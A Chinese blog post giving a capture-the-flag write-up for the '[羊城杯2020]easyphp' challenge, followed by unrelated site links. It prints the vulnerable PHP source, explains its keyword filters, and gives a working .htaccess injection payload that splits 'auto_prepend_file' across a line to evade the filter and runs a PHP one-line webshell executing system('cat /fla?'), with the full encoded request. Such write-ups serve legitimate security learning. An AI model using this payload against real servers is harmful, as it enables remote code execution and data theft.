当前位置:网站首页>[羊城杯2020]easyphp
[羊城杯2020]easyphp
2022-07-02 22:09:00 【-栀蓝-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>代码审计
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
如果不是index.php页面,则会删除页面数据if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} 如果没有传入content或filename参数则直接die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
对传入参数content进行过滤,不能由on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
对传入参数filename进行过滤,filename只能由小写字母和.构成,否则die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
跟最开始的过滤一样,如果不是index.php则会删除数据
file_put_contents($filename, $content . "\nHello, world");
将我们传入的内容content写入filename里面
但注意这里拼接了一个Hello world,会造成我们程序报错最初的想法就是filename为a.php,content传入一句话木马,结果实践:

发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess中\的作用是拼接上下文的,相当于php_value auto_prepend_file.htaccess
因为为了绕过过滤因此从file中间分开

其中利用注释符#将一句话木马写入,是因为在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行
第三行的\是为了和代码最后面拼接的Hello,world也当作注释,否则hello world到第四行会执行报错
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- JS syntax ES6, ES7, es8, es9, ES10, es11, ES12 new features (Abstract)
- NC50965 Largest Rectangle in a Histogram
- Build your own website (22)
- UE4 game architecture learning notes
- 《乔布斯传》英文原著重点词汇笔记(十)【 chapter eight】
- [LeetCode] 多数元素【169】
- PHP wechat red packet grabbing algorithm
- 性能优化----严苛模式
- PHP optimizes SQL queries in foreach
- 数学建模——图与网络模型及方法(一)
猜你喜欢

建立自己的网站(22)
![NC24325 [USACO 2012 Mar S]Flowerpot](/img/cf/86acbcb524b3af0999ce887c877781.png)
NC24325 [USACO 2012 Mar S]Flowerpot
![[LeetCode] 数组中的第K个最大元素【215】](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[LeetCode] 数组中的第K个最大元素【215】

Share 10 JS closure interview questions (diagrams), come in and see how many you can answer correctly
![Additional: [login information storage] and [login status verification]; (including: summarizing all the contents of [login information storage] and [login status verification] so far;)](/img/b7/0f543829b57cf2f2544efec4910c17.png)
Additional: [login information storage] and [login status verification]; (including: summarizing all the contents of [login information storage] and [login status verification] so far;)

【板栗糖GIS】arcscene—如何做出有高度的高程图

uniapp微信登录返显用户名和头像

Radis:Linux上安装Redis(步骤)

Higher order operation of bits
![Gas station [problem analysis - > problem conversion - > greed]](/img/15/5313f900abedb46ce82d8ab81af1d7.png)
Gas station [problem analysis - > problem conversion - > greed]
随机推荐
[leetcode] reverse the word III in the string [557]
Struct, bit segment, enumeration, union
php优化foreach中的sql查询
Mathematical modeling -- graph and network models and methods (I)
PMP项目整合管理
[leetcode] there are duplicate elements [217]
Simpleitk use - 3 Common operations
JS获取display为none的隐藏元素的宽度和高度的解决方案
PHP wechat red packet grabbing algorithm
百度智能云-创建人脸识别应用
NC50965 Largest Rectangle in a Histogram
NC24325 [USACO 2012 Mar S]Flowerpot
存储单位换算
Objects and object variables
Dynamic memory allocation (malloc calloc realloc free)
【板栗糖GIS】arcscene—如何做出有高度的高程图
杰理之直接触摸样机的顶针反应不正常【篇】
[Luogu p1541] tortoise chess [DP]
#include errors detected. Please update your includePath.
Jerry's modification does not require long press the boot function [chapter]